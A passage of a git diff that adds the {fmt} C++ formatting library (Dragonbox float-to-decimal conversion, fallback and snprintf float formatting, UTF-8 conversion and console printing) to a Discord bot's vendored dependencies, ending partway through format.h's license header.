divisible_by_power_of_2(uint32_t x, int exp) FMT_NOEXCEPT { + FMT_ASSERT(exp >= 1, ""); + FMT_ASSERT(x != 0, ""); +#ifdef FMT_BUILTIN_CTZ + return FMT_BUILTIN_CTZ(x) >= exp; +#else + return exp < num_bits() && x == ((x >> exp) << exp); +#endif +} +inline bool divisible_by_power_of_2(uint64_t x, int exp) FMT_NOEXCEPT { + FMT_ASSERT(exp >= 1, ""); + FMT_ASSERT(x != 0, ""); +#ifdef FMT_BUILTIN_CTZLL + return FMT_BUILTIN_CTZLL(x) >= exp; +#else + return exp < num_bits() && x == ((x >> exp) << exp); +#endif +} + +// Returns true iff x is divisible by pow(5, exp). +inline bool divisible_by_power_of_5(uint32_t x, int exp) FMT_NOEXCEPT { + FMT_ASSERT(exp <= 10, "too large exponent"); + return x * data::divtest_table_for_pow5_32[exp].mod_inv <= + data::divtest_table_for_pow5_32[exp].max_quotient; +} +inline bool divisible_by_power_of_5(uint64_t x, int exp) FMT_NOEXCEPT { + FMT_ASSERT(exp <= 23, "too large exponent"); + return x * data::divtest_table_for_pow5_64[exp].mod_inv <= + data::divtest_table_for_pow5_64[exp].max_quotient; +} + +// Replaces n by floor(n / pow(5, N)) returning true if and only if n is +// divisible by pow(5, N). +// Precondition: n <= 2 * pow(5, N + 1). +template +bool check_divisibility_and_divide_by_pow5(uint32_t& n) FMT_NOEXCEPT { + static constexpr struct { + uint32_t magic_number; + int bits_for_comparison; + uint32_t threshold; + int shift_amount; + } infos[] = {{0xcccd, 16, 0x3333, 18}, {0xa429, 8, 0x0a, 20}}; + constexpr auto info = infos[N - 1]; + n *= info.magic_number; + const uint32_t comparison_mask = (1u << info.bits_for_comparison) - 1; + bool result = (n & comparison_mask) <= info.threshold; + n >>= info.shift_amount; + return result; +} + +// Computes floor(n / pow(10, N)) for small n and N. +// Precondition: n <= pow(10, N + 1). +template uint32_t small_division_by_pow10(uint32_t n) FMT_NOEXCEPT { + static constexpr struct { + uint32_t magic_number; + int shift_amount; + uint32_t divisor_times_10; + } infos[] = {{0xcccd, 19, 100}, {0xa3d8, 22, 1000}}; + constexpr auto info = infos[N - 1]; + FMT_ASSERT(n <= info.divisor_times_10, "n is too large"); + return n * info.magic_number >> info.shift_amount; +} + +// Computes floor(n / 10^(kappa + 1)) (float) +inline uint32_t divide_by_10_to_kappa_plus_1(uint32_t n) FMT_NOEXCEPT { + return n / float_info::big_divisor; +} +// Computes floor(n / 10^(kappa + 1)) (double) +inline uint64_t divide_by_10_to_kappa_plus_1(uint64_t n) FMT_NOEXCEPT { + return umul128_upper64(n, 0x83126e978d4fdf3c) >> 9; +} + +// Various subroutines using pow10 cache +template struct cache_accessor; + +template <> struct cache_accessor { + using carrier_uint = float_info::carrier_uint; + using cache_entry_type = uint64_t; + + static uint64_t get_cached_power(int k) FMT_NOEXCEPT { + FMT_ASSERT(k >= float_info::min_k && k <= float_info::max_k, + "k is out of range"); + return data::dragonbox_pow10_significands_64[k - float_info::min_k]; + } + + static carrier_uint compute_mul(carrier_uint u, + const cache_entry_type& cache) FMT_NOEXCEPT { + return umul96_upper32(u, cache); + } + + static uint32_t compute_delta(const cache_entry_type& cache, + int beta_minus_1) FMT_NOEXCEPT { + return static_cast(cache >> (64 - 1 - beta_minus_1)); + } + + static bool compute_mul_parity(carrier_uint two_f, + const cache_entry_type& cache, + int beta_minus_1) FMT_NOEXCEPT { + FMT_ASSERT(beta_minus_1 >= 1, ""); + FMT_ASSERT(beta_minus_1 < 64, ""); + + return ((umul96_lower64(two_f, cache) >> (64 - beta_minus_1)) & 1) != 0; + } + + static carrier_uint compute_left_endpoint_for_shorter_interval_case( + const cache_entry_type& cache, int beta_minus_1) FMT_NOEXCEPT { + return static_cast( + (cache - (cache >> (float_info::significand_bits + 2))) >> + (64 - float_info::significand_bits - 1 - beta_minus_1)); + } + + static carrier_uint compute_right_endpoint_for_shorter_interval_case( + const cache_entry_type& cache, int beta_minus_1) FMT_NOEXCEPT { + return static_cast( + (cache + (cache >> (float_info::significand_bits + 1))) >> + (64 - float_info::significand_bits - 1 - beta_minus_1)); + } + + static carrier_uint compute_round_up_for_shorter_interval_case( + const cache_entry_type& cache, int beta_minus_1) FMT_NOEXCEPT { + return (static_cast( + cache >> + (64 - float_info::significand_bits - 2 - beta_minus_1)) + + 1) / + 2; + } +}; + +template <> struct cache_accessor { + using carrier_uint = float_info::carrier_uint; + using cache_entry_type = uint128_wrapper; + + static uint128_wrapper get_cached_power(int k) FMT_NOEXCEPT { + FMT_ASSERT(k >= float_info::min_k && k <= float_info::max_k, + "k is out of range"); + +#if FMT_USE_FULL_CACHE_DRAGONBOX + return data::dragonbox_pow10_significands_128[k - + float_info::min_k]; +#else + static const int compression_ratio = 27; + + // Compute base index. + int cache_index = (k - float_info::min_k) / compression_ratio; + int kb = cache_index * compression_ratio + float_info::min_k; + int offset = k - kb; + + // Get base cache. + uint128_wrapper base_cache = + data::dragonbox_pow10_significands_128[cache_index]; + if (offset == 0) return base_cache; + + // Compute the required amount of bit-shift. + int alpha = floor_log2_pow10(kb + offset) - floor_log2_pow10(kb) - offset; + FMT_ASSERT(alpha > 0 && alpha < 64, "shifting error detected"); + + // Try to recover the real cache. + uint64_t pow5 = data::powers_of_5_64[offset]; + uint128_wrapper recovered_cache = umul128(base_cache.high(), pow5); + uint128_wrapper middle_low = + umul128(base_cache.low() - (kb < 0 ? 1u : 0u), pow5); + + recovered_cache += middle_low.high(); + + uint64_t high_to_middle = recovered_cache.high() << (64 - alpha); + uint64_t middle_to_low = recovered_cache.low() << (64 - alpha); + + recovered_cache = + uint128_wrapper{(recovered_cache.low() >> alpha) | high_to_middle, + ((middle_low.low() >> alpha) | middle_to_low)}; + + if (kb < 0) recovered_cache += 1; + + // Get error. + int error_idx = (k - float_info::min_k) / 16; + uint32_t error = (data::dragonbox_pow10_recovery_errors[error_idx] >> + ((k - float_info::min_k) % 16) * 2) & + 0x3; + + // Add the error back. + FMT_ASSERT(recovered_cache.low() + error >= recovered_cache.low(), ""); + return {recovered_cache.high(), recovered_cache.low() + error}; +#endif + } + + static carrier_uint compute_mul(carrier_uint u, + const cache_entry_type& cache) FMT_NOEXCEPT { + return umul192_upper64(u, cache); + } + + static uint32_t compute_delta(cache_entry_type const& cache, + int beta_minus_1) FMT_NOEXCEPT { + return static_cast(cache.high() >> (64 - 1 - beta_minus_1)); + } + + static bool compute_mul_parity(carrier_uint two_f, + const cache_entry_type& cache, + int beta_minus_1) FMT_NOEXCEPT { + FMT_ASSERT(beta_minus_1 >= 1, ""); + FMT_ASSERT(beta_minus_1 < 64, ""); + + return ((umul192_middle64(two_f, cache) >> (64 - beta_minus_1)) & 1) != 0; + } + + static carrier_uint compute_left_endpoint_for_shorter_interval_case( + const cache_entry_type& cache, int beta_minus_1) FMT_NOEXCEPT { + return (cache.high() - + (cache.high() >> (float_info::significand_bits + 2))) >> + (64 - float_info::significand_bits - 1 - beta_minus_1); + } + + static carrier_uint compute_right_endpoint_for_shorter_interval_case( + const cache_entry_type& cache, int beta_minus_1) FMT_NOEXCEPT { + return (cache.high() + + (cache.high() >> (float_info::significand_bits + 1))) >> + (64 - float_info::significand_bits - 1 - beta_minus_1); + } + + static carrier_uint compute_round_up_for_shorter_interval_case( + const cache_entry_type& cache, int beta_minus_1) FMT_NOEXCEPT { + return ((cache.high() >> + (64 - float_info::significand_bits - 2 - beta_minus_1)) + + 1) / + 2; + } +}; + +// Various integer checks +template +bool is_left_endpoint_integer_shorter_interval(int exponent) FMT_NOEXCEPT { + return exponent >= + float_info< + T>::case_shorter_interval_left_endpoint_lower_threshold && + exponent <= + float_info::case_shorter_interval_left_endpoint_upper_threshold; +} +template +bool is_endpoint_integer(typename float_info::carrier_uint two_f, + int exponent, int minus_k) FMT_NOEXCEPT { + if (exponent < float_info::case_fc_pm_half_lower_threshold) return false; + // For k >= 0. + if (exponent <= float_info::case_fc_pm_half_upper_threshold) return true; + // For k < 0. + if (exponent > float_info::divisibility_check_by_5_threshold) return false; + return divisible_by_power_of_5(two_f, minus_k); +} + +template +bool is_center_integer(typename float_info::carrier_uint two_f, int exponent, + int minus_k) FMT_NOEXCEPT { + // Exponent for 5 is negative. + if (exponent > float_info::divisibility_check_by_5_threshold) return false; + if (exponent > float_info::case_fc_upper_threshold) + return divisible_by_power_of_5(two_f, minus_k); + // Both exponents are nonnegative. + if (exponent >= float_info::case_fc_lower_threshold) return true; + // Exponent for 2 is negative. + return divisible_by_power_of_2(two_f, minus_k - exponent + 1); +} + +// Remove trailing zeros from n and return the number of zeros removed (float) +FMT_ALWAYS_INLINE int remove_trailing_zeros(uint32_t& n) FMT_NOEXCEPT { +#ifdef FMT_BUILTIN_CTZ + int t = FMT_BUILTIN_CTZ(n); +#else + int t = ctz(n); +#endif + if (t > float_info::max_trailing_zeros) + t = float_info::max_trailing_zeros; + + const uint32_t mod_inv1 = 0xcccccccd; + const uint32_t max_quotient1 = 0x33333333; + const uint32_t mod_inv2 = 0xc28f5c29; + const uint32_t max_quotient2 = 0x0a3d70a3; + + int s = 0; + for (; s < t - 1; s += 2) { + if (n * mod_inv2 > max_quotient2) break; + n *= mod_inv2; + } + if (s < t && n * mod_inv1 <= max_quotient1) { + n *= mod_inv1; + ++s; + } + n >>= s; + return s; +} + +// Removes trailing zeros and returns the number of zeros removed (double) +FMT_ALWAYS_INLINE int remove_trailing_zeros(uint64_t& n) FMT_NOEXCEPT { +#ifdef FMT_BUILTIN_CTZLL + int t = FMT_BUILTIN_CTZLL(n); +#else + int t = ctzll(n); +#endif + if (t > float_info::max_trailing_zeros) + t = float_info::max_trailing_zeros; + // Divide by 10^8 and reduce to 32-bits + // Since ret_value.significand <= (2^64 - 1) / 1000 < 10^17, + // both of the quotient and the r should fit in 32-bits + + const uint32_t mod_inv1 = 0xcccccccd; + const uint32_t max_quotient1 = 0x33333333; + const uint64_t mod_inv8 = 0xc767074b22e90e21; + const uint64_t max_quotient8 = 0x00002af31dc46118; + + // If the number is divisible by 1'0000'0000, work with the quotient + if (t >= 8) { + auto quotient_candidate = n * mod_inv8; + + if (quotient_candidate <= max_quotient8) { + auto quotient = static_cast(quotient_candidate >> 8); + + int s = 8; + for (; s < t; ++s) { + if (quotient * mod_inv1 > max_quotient1) break; + quotient *= mod_inv1; + } + quotient >>= (s - 8); + n = quotient; + return s; + } + } + + // Otherwise, work with the remainder + auto quotient = static_cast(n / 100000000); + auto remainder = static_cast(n - 100000000 * quotient); + + if (t == 0 || remainder * mod_inv1 > max_quotient1) { + return 0; + } + remainder *= mod_inv1; + + if (t == 1 || remainder * mod_inv1 > max_quotient1) { + n = (remainder >> 1) + quotient * 10000000ull; + return 1; + } + remainder *= mod_inv1; + + if (t == 2 || remainder * mod_inv1 > max_quotient1) { + n = (remainder >> 2) + quotient * 1000000ull; + return 2; + } + remainder *= mod_inv1; + + if (t == 3 || remainder * mod_inv1 > max_quotient1) { + n = (remainder >> 3) + quotient * 100000ull; + return 3; + } + remainder *= mod_inv1; + + if (t == 4 || remainder * mod_inv1 > max_quotient1) { + n = (remainder >> 4) + quotient * 10000ull; + return 4; + } + remainder *= mod_inv1; + + if (t == 5 || remainder * mod_inv1 > max_quotient1) { + n = (remainder >> 5) + quotient * 1000ull; + return 5; + } + remainder *= mod_inv1; + + if (t == 6 || remainder * mod_inv1 > max_quotient1) { + n = (remainder >> 6) + quotient * 100ull; + return 6; + } + remainder *= mod_inv1; + + n = (remainder >> 7) + quotient * 10ull; + return 7; +} + +// The main algorithm for shorter interval case +template +FMT_ALWAYS_INLINE decimal_fp shorter_interval_case(int exponent) + FMT_NOEXCEPT { + decimal_fp ret_value; + // Compute k and beta + const int minus_k = floor_log10_pow2_minus_log10_4_over_3(exponent); + const int beta_minus_1 = exponent + floor_log2_pow10(-minus_k); + + // Compute xi and zi + using cache_entry_type = typename cache_accessor::cache_entry_type; + const cache_entry_type cache = cache_accessor::get_cached_power(-minus_k); + + auto xi = cache_accessor::compute_left_endpoint_for_shorter_interval_case( + cache, beta_minus_1); + auto zi = cache_accessor::compute_right_endpoint_for_shorter_interval_case( + cache, beta_minus_1); + + // If the left endpoint is not an integer, increase it + if (!is_left_endpoint_integer_shorter_interval(exponent)) ++xi; + + // Try bigger divisor + ret_value.significand = zi / 10; + + // If succeed, remove trailing zeros if necessary and return + if (ret_value.significand * 10 >= xi) { + ret_value.exponent = minus_k + 1; + ret_value.exponent += remove_trailing_zeros(ret_value.significand); + return ret_value; + } + + // Otherwise, compute the round-up of y + ret_value.significand = + cache_accessor::compute_round_up_for_shorter_interval_case( + cache, beta_minus_1); + ret_value.exponent = minus_k; + + // When tie occurs, choose one of them according to the rule + if (exponent >= float_info::shorter_interval_tie_lower_threshold && + exponent <= float_info::shorter_interval_tie_upper_threshold) { + ret_value.significand = ret_value.significand % 2 == 0 + ? ret_value.significand + : ret_value.significand - 1; + } else if (ret_value.significand < xi) { + ++ret_value.significand; + } + return ret_value; +} + +template decimal_fp to_decimal(T x) FMT_NOEXCEPT { + // Step 1: integer promotion & Schubfach multiplier calculation. + + using carrier_uint = typename float_info::carrier_uint; + using cache_entry_type = typename cache_accessor::cache_entry_type; + auto br = bit_cast(x); + + // Extract significand bits and exponent bits. + const carrier_uint significand_mask = + (static_cast(1) << float_info::significand_bits) - 1; + carrier_uint significand = (br & significand_mask); + int exponent = static_cast((br & exponent_mask()) >> + float_info::significand_bits); + + if (exponent != 0) { // Check if normal. + exponent += float_info::exponent_bias - float_info::significand_bits; + + // Shorter interval case; proceed like Schubfach. + if (significand == 0) return shorter_interval_case(exponent); + + significand |= + (static_cast(1) << float_info::significand_bits); + } else { + // Subnormal case; the interval is always regular. + if (significand == 0) return {0, 0}; + exponent = float_info::min_exponent - float_info::significand_bits; + } + + const bool include_left_endpoint = (significand % 2 == 0); + const bool include_right_endpoint = include_left_endpoint; + + // Compute k and beta. + const int minus_k = floor_log10_pow2(exponent) - float_info::kappa; + const cache_entry_type cache = cache_accessor::get_cached_power(-minus_k); + const int beta_minus_1 = exponent + floor_log2_pow10(-minus_k); + + // Compute zi and deltai + // 10^kappa <= deltai < 10^(kappa + 1) + const uint32_t deltai = cache_accessor::compute_delta(cache, beta_minus_1); + const carrier_uint two_fc = significand << 1; + const carrier_uint two_fr = two_fc | 1; + const carrier_uint zi = + cache_accessor::compute_mul(two_fr << beta_minus_1, cache); + + // Step 2: Try larger divisor; remove trailing zeros if necessary + + // Using an upper bound on zi, we might be able to optimize the division + // better than the compiler; we are computing zi / big_divisor here + decimal_fp ret_value; + ret_value.significand = divide_by_10_to_kappa_plus_1(zi); + uint32_t r = static_cast(zi - float_info::big_divisor * + ret_value.significand); + + if (r > deltai) { + goto small_divisor_case_label; + } else if (r < deltai) { + // Exclude the right endpoint if necessary + if (r == 0 && !include_right_endpoint && + is_endpoint_integer(two_fr, exponent, minus_k)) { + --ret_value.significand; + r = float_info::big_divisor; + goto small_divisor_case_label; + } + } else { + // r == deltai; compare fractional parts + // Check conditions in the order different from the paper + // to take advantage of short-circuiting + const carrier_uint two_fl = two_fc - 1; + if ((!include_left_endpoint || + !is_endpoint_integer(two_fl, exponent, minus_k)) && + !cache_accessor::compute_mul_parity(two_fl, cache, beta_minus_1)) { + goto small_divisor_case_label; + } + } + ret_value.exponent = minus_k + float_info::kappa + 1; + + // We may need to remove trailing zeros + ret_value.exponent += remove_trailing_zeros(ret_value.significand); + return ret_value; + + // Step 3: Find the significand with the smaller divisor + +small_divisor_case_label: + ret_value.significand *= 10; + ret_value.exponent = minus_k + float_info::kappa; + + const uint32_t mask = (1u << float_info::kappa) - 1; + auto dist = r - (deltai / 2) + (float_info::small_divisor / 2); + + // Is dist divisible by 2^kappa? + if ((dist & mask) == 0) { + const bool approx_y_parity = + ((dist ^ (float_info::small_divisor / 2)) & 1) != 0; + dist >>= float_info::kappa; + + // Is dist divisible by 5^kappa? + if (check_divisibility_and_divide_by_pow5::kappa>(dist)) { + ret_value.significand += dist; + + // Check z^(f) >= epsilon^(f) + // We have either yi == zi - epsiloni or yi == (zi - epsiloni) - 1, + // where yi == zi - epsiloni if and only if z^(f) >= epsilon^(f) + // Since there are only 2 possibilities, we only need to care about the + // parity. Also, zi and r should have the same parity since the divisor + // is an even number + if (cache_accessor::compute_mul_parity(two_fc, cache, beta_minus_1) != + approx_y_parity) { + --ret_value.significand; + } else { + // If z^(f) >= epsilon^(f), we might have a tie + // when z^(f) == epsilon^(f), or equivalently, when y is an integer + if (is_center_integer(two_fc, exponent, minus_k)) { + ret_value.significand = ret_value.significand % 2 == 0 + ? ret_value.significand + : ret_value.significand - 1; + } + } + } + // Is dist not divisible by 5^kappa? + else { + ret_value.significand += dist; + } + } + // Is dist not divisible by 2^kappa? + else { + // Since we know dist is small, we might be able to optimize the division + // better than the compiler; we are computing dist / small_divisor here + ret_value.significand += + small_division_by_pow10::kappa>(dist); + } + return ret_value; +} +} // namespace dragonbox + +// Formats value using a variation of the Fixed-Precision Positive +// Floating-Point Printout ((FPP)^2) algorithm by Steele & White: +// https://fmt.dev/papers/p372-steele.pdf. +template +void fallback_format(Double d, int num_digits, bool binary32, buffer& buf, + int& exp10) { + bigint numerator; // 2 * R in (FPP)^2. + bigint denominator; // 2 * S in (FPP)^2. + // lower and upper are differences between value and corresponding boundaries. + bigint lower; // (M^- in (FPP)^2). + bigint upper_store; // upper's value if different from lower. + bigint* upper = nullptr; // (M^+ in (FPP)^2). + fp value; + // Shift numerator and denominator by an extra bit or two (if lower boundary + // is closer) to make lower and upper integers. This eliminates multiplication + // by 2 during later computations. + const bool is_predecessor_closer = + binary32 ? value.assign(static_cast(d)) : value.assign(d); + int shift = is_predecessor_closer ? 2 : 1; + uint64_t significand = value.f << shift; + if (value.e >= 0) { + numerator.assign(significand); + numerator <<= value.e; + lower.assign(1); + lower <<= value.e; + if (shift != 1) { + upper_store.assign(1); + upper_store <<= value.e + 1; + upper = &upper_store; + } + denominator.assign_pow10(exp10); + denominator <<= shift; + } else if (exp10 < 0) { + numerator.assign_pow10(-exp10); + lower.assign(numerator); + if (shift != 1) { + upper_store.assign(numerator); + upper_store <<= 1; + upper = &upper_store; + } + numerator *= significand; + denominator.assign(1); + denominator <<= shift - value.e; + } else { + numerator.assign(significand); + denominator.assign_pow10(exp10); + denominator <<= shift - value.e; + lower.assign(1); + if (shift != 1) { + upper_store.assign(1ULL << 1); + upper = &upper_store; + } + } + // Invariant: value == (numerator / denominator) * pow(10, exp10). + if (num_digits < 0) { + // Generate the shortest representation. + if (!upper) upper = &lower; + bool even = (value.f & 1) == 0; + num_digits = 0; + char* data = buf.data(); + for (;;) { + int digit = numerator.divmod_assign(denominator); + bool low = compare(numerator, lower) - even < 0; // numerator <[=] lower. + // numerator + upper >[=] pow10: + bool high = add_compare(numerator, *upper, denominator) + even > 0; + data[num_digits++] = static_cast('0' + digit); + if (low || high) { + if (!low) { + ++data[num_digits - 1]; + } else if (high) { + int result = add_compare(numerator, numerator, denominator); + // Round half to even. + if (result > 0 || (result == 0 && (digit % 2) != 0)) + ++data[num_digits - 1]; + } + buf.try_resize(to_unsigned(num_digits)); + exp10 -= num_digits - 1; + return; + } + numerator *= 10; + lower *= 10; + if (upper != &lower) *upper *= 10; + } + } + // Generate the given number of digits. + exp10 -= num_digits - 1; + if (num_digits == 0) { + buf.try_resize(1); + denominator *= 10; + buf[0] = add_compare(numerator, numerator, denominator) > 0 ? '1' : '0'; + return; + } + buf.try_resize(to_unsigned(num_digits)); + for (int i = 0; i < num_digits - 1; ++i) { + int digit = numerator.divmod_assign(denominator); + buf[i] = static_cast('0' + digit); + numerator *= 10; + } + int digit = numerator.divmod_assign(denominator); + auto result = add_compare(numerator, numerator, denominator); + if (result > 0 || (result == 0 && (digit % 2) != 0)) { + if (digit == 9) { + const auto overflow = '0' + 10; + buf[num_digits - 1] = overflow; + // Propagate the carry. + for (int i = num_digits - 1; i > 0 && buf[i] == overflow; --i) { + buf[i] = '0'; + ++buf[i - 1]; + } + if (buf[0] == overflow) { + buf[0] = '1'; + ++exp10; + } + return; + } + ++digit; + } + buf[num_digits - 1] = static_cast('0' + digit); +} + +template +int format_float(T value, int precision, float_specs specs, buffer& buf) { + static_assert(!std::is_same::value, ""); + FMT_ASSERT(value >= 0, "value is negative"); + + const bool fixed = specs.format == float_format::fixed; + if (value <= 0) { // <= instead of == to silence a warning. + if (precision <= 0 || !fixed) { + buf.push_back('0'); + return 0; + } + buf.try_resize(to_unsigned(precision)); + std::uninitialized_fill_n(buf.data(), precision, '0'); + return -precision; + } + + if (!specs.use_grisu) return snprintf_float(value, precision, specs, buf); + + if (precision < 0) { + // Use Dragonbox for the shortest format. + if (specs.binary32) { + auto dec = dragonbox::to_decimal(static_cast(value)); + write(buffer_appender(buf), dec.significand); + return dec.exponent; + } + auto dec = dragonbox::to_decimal(static_cast(value)); + write(buffer_appender(buf), dec.significand); + return dec.exponent; + } + + // Use Grisu + Dragon4 for the given precision: + // https://www.cs.tufts.edu/~nr/cs257/archive/florian-loitsch/printf.pdf. + int exp = 0; + const int min_exp = -60; // alpha in Grisu. + int cached_exp10 = 0; // K in Grisu. + fp normalized = normalize(fp(value)); + const auto cached_pow = get_cached_power( + min_exp - (normalized.e + fp::significand_size), cached_exp10); + normalized = normalized * cached_pow; + // Limit precision to the maximum possible number of significant digits in an + // IEEE754 double because we don't need to generate zeros. + const int max_double_digits = 767; + if (precision > max_double_digits) precision = max_double_digits; + fixed_handler handler{buf.data(), 0, precision, -cached_exp10, fixed}; + if (grisu_gen_digits(normalized, 1, exp, handler) == digits::error) { + exp += handler.size - cached_exp10 - 1; + fallback_format(value, handler.precision, specs.binary32, buf, exp); + } else { + exp += handler.exp10; + buf.try_resize(to_unsigned(handler.size)); + } + if (!fixed && !specs.showpoint) { + // Remove trailing zeros. + auto num_digits = buf.size(); + while (num_digits > 0 && buf[num_digits - 1] == '0') { + --num_digits; + ++exp; + } + buf.try_resize(num_digits); + } + return exp; +} // namespace detail + +template +int snprintf_float(T value, int precision, float_specs specs, + buffer& buf) { + // Buffer capacity must be non-zero, otherwise MSVC's vsnprintf_s will fail. + FMT_ASSERT(buf.capacity() > buf.size(), "empty buffer"); + static_assert(!std::is_same::value, ""); + + // Subtract 1 to account for the difference in precision since we use %e for + // both general and exponent format. + if (specs.format == float_format::general || + specs.format == float_format::exp) + precision = (precision >= 0 ? precision : 6) - 1; + + // Build the format string. + enum { max_format_size = 7 }; // The longest format is "%#.*Le". + char format[max_format_size]; + char* format_ptr = format; + *format_ptr++ = '%'; + if (specs.showpoint && specs.format == float_format::hex) *format_ptr++ = '#'; + if (precision >= 0) { + *format_ptr++ = '.'; + *format_ptr++ = '*'; + } + if (std::is_same()) *format_ptr++ = 'L'; + *format_ptr++ = specs.format != float_format::hex + ? (specs.format == float_format::fixed ? 'f' : 'e') + : (specs.upper ? 'A' : 'a'); + *format_ptr = '\0'; + + // Format using snprintf. + auto offset = buf.size(); + for (;;) { + auto begin = buf.data() + offset; + auto capacity = buf.capacity() - offset; +#ifdef FMT_FUZZ + if (precision > 100000) + throw std::runtime_error( + "fuzz mode - avoid large allocation inside snprintf"); +#endif + // Suppress the warning about a nonliteral format string. + // Cannot use auto because of a bug in MinGW (#1532). + int (*snprintf_ptr)(char*, size_t, const char*, ...) = FMT_SNPRINTF; + int result = precision >= 0 + ? snprintf_ptr(begin, capacity, format, precision, value) + : snprintf_ptr(begin, capacity, format, value); + if (result < 0) { + // The buffer will grow exponentially. + buf.try_reserve(buf.capacity() + 1); + continue; + } + auto size = to_unsigned(result); + // Size equal to capacity means that the last character was truncated. + if (size >= capacity) { + buf.try_reserve(size + offset + 1); // Add 1 for the terminating '\0'. + continue; + } + auto is_digit = [](char c) { return c >= '0' && c <= '9'; }; + if (specs.format == float_format::fixed) { + if (precision == 0) { + buf.try_resize(size); + return 0; + } + // Find and remove the decimal point. + auto end = begin + size, p = end; + do { + --p; + } while (is_digit(*p)); + int fraction_size = static_cast(end - p - 1); + std::memmove(p, p + 1, to_unsigned(fraction_size)); + buf.try_resize(size - 1); + return -fraction_size; + } + if (specs.format == float_format::hex) { + buf.try_resize(size + offset); + return 0; + } + // Find and parse the exponent. + auto end = begin + size, exp_pos = end; + do { + --exp_pos; + } while (*exp_pos != 'e'); + char sign = exp_pos[1]; + FMT_ASSERT(sign == '+' || sign == '-', ""); + int exp = 0; + auto p = exp_pos + 2; // Skip 'e' and sign. + do { + FMT_ASSERT(is_digit(*p), ""); + exp = exp * 10 + (*p++ - '0'); + } while (p != end); + if (sign == '-') exp = -exp; + int fraction_size = 0; + if (exp_pos != begin + 1) { + // Remove trailing zeros. + auto fraction_end = exp_pos - 1; + while (*fraction_end == '0') --fraction_end; + // Move the fractional part left to get rid of the decimal point. + fraction_size = static_cast(fraction_end - begin - 1); + std::memmove(begin + 1, begin + 2, to_unsigned(fraction_size)); + } + buf.try_resize(to_unsigned(fraction_size) + offset + 1); + return exp - fraction_size; + } +} + +struct stringifier { + template FMT_INLINE std::string operator()(T value) const { + return to_string(value); + } + std::string operator()(basic_format_arg::handle h) const { + memory_buffer buf; + format_parse_context parse_ctx({}); + format_context format_ctx(buffer_appender(buf), {}, {}); + h.format(parse_ctx, format_ctx); + return to_string(buf); + } +}; +} // namespace detail + +template <> struct formatter { + FMT_CONSTEXPR format_parse_context::iterator parse( + format_parse_context& ctx) { + return ctx.begin(); + } + + format_context::iterator format(const detail::bigint& n, + format_context& ctx) { + auto out = ctx.out(); + bool first = true; + for (auto i = n.bigits_.size(); i > 0; --i) { + auto value = n.bigits_[i - 1u]; + if (first) { + out = format_to(out, FMT_STRING("{:x}"), value); + first = false; + continue; + } + out = format_to(out, FMT_STRING("{:08x}"), value); + } + if (n.exp_ > 0) + out = format_to(out, FMT_STRING("p{}"), + n.exp_ * detail::bigint::bigit_bits); + return out; + } +}; + +FMT_FUNC detail::utf8_to_utf16::utf8_to_utf16(string_view s) { + for_each_codepoint(s, [this](uint32_t cp, int error) { + if (error != 0) FMT_THROW(std::runtime_error("invalid utf8")); + if (cp <= 0xFFFF) { + buffer_.push_back(static_cast(cp)); + } else { + cp -= 0x10000; + buffer_.push_back(static_cast(0xD800 + (cp >> 10))); + buffer_.push_back(static_cast(0xDC00 + (cp & 0x3FF))); + } + }); + buffer_.push_back(0); +} + +FMT_FUNC void format_system_error(detail::buffer& out, int error_code, + string_view message) FMT_NOEXCEPT { + FMT_TRY { + memory_buffer buf; + buf.resize(inline_buffer_size); + for (;;) { + char* system_message = &buf[0]; + int result = + detail::safe_strerror(error_code, system_message, buf.size()); + if (result == 0) { + format_to(detail::buffer_appender(out), FMT_STRING("{}: {}"), + message, system_message); + return; + } + if (result != ERANGE) + break; // Can't get error message, report error code instead. + buf.resize(buf.size() * 2); + } + } + FMT_CATCH(...) {} + format_error_code(out, error_code, message); +} + +FMT_FUNC void detail::error_handler::on_error(const char* message) { + FMT_THROW(format_error(message)); +} + +FMT_FUNC void report_system_error(int error_code, + fmt::string_view message) FMT_NOEXCEPT { + report_error(format_system_error, error_code, message); +} + +FMT_FUNC std::string detail::vformat(string_view format_str, format_args args) { + if (format_str.size() == 2 && equal2(format_str.data(), "{}")) { + auto arg = args.get(0); + if (!arg) error_handler().on_error("argument not found"); + return visit_format_arg(stringifier(), arg); + } + memory_buffer buffer; + detail::vformat_to(buffer, format_str, args); + return to_string(buffer); +} + +#ifdef _WIN32 +namespace detail { +using dword = conditional_t; +extern "C" __declspec(dllimport) int __stdcall WriteConsoleW( // + void*, const void*, dword, dword*, void*); +} // namespace detail +#endif + +FMT_FUNC void vprint(std::FILE* f, string_view format_str, format_args args) { + memory_buffer buffer; + detail::vformat_to(buffer, format_str, + basic_format_args>(args)); +#ifdef _WIN32 + auto fd = _fileno(f); + if (_isatty(fd)) { + detail::utf8_to_utf16 u16(string_view(buffer.data(), buffer.size())); + auto written = detail::dword(); + if (detail::WriteConsoleW(reinterpret_cast(_get_osfhandle(fd)), + u16.c_str(), static_cast(u16.size()), + &written, nullptr)) { + return; + } + // Fallback to fwrite on failure. It can happen if the output has been + // redirected to NUL. + } +#endif + detail::fwrite_fully(buffer.data(), 1, buffer.size(), f); +} + +#ifdef _WIN32 +// Print assuming legacy (non-Unicode) encoding. +FMT_FUNC void detail::vprint_mojibake(std::FILE* f, string_view format_str, + format_args args) { + memory_buffer buffer; + detail::vformat_to(buffer, format_str, + basic_format_args>(args)); + fwrite_fully(buffer.data(), 1, buffer.size(), f); +} +#endif + +FMT_FUNC void vprint(string_view format_str, format_args args) { + vprint(stdout, format_str, args); +} + +FMT_END_NAMESPACE + +#endif // FMT_FORMAT_INL_H_ diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/fmt/format.h b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/format.h new file mode 100644 index 0000000..3f6f746 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/format.h @@ -0,0 +1,4037 @@ +/* + Formatting library for C++ + + Copyright (c) 2012 - present, Victor Zverovich + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + "Software"), to deal in the Software without restriction, including + without limitation the rights to use, copy, modify, merge, publish, + distribute, sublicense, and/or sell copies of the Software, and to + permit persons to whom the Software is furnished to do so, subject to + the following conditions: + + The above copyright notice and this permission notice shall be + included in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE + 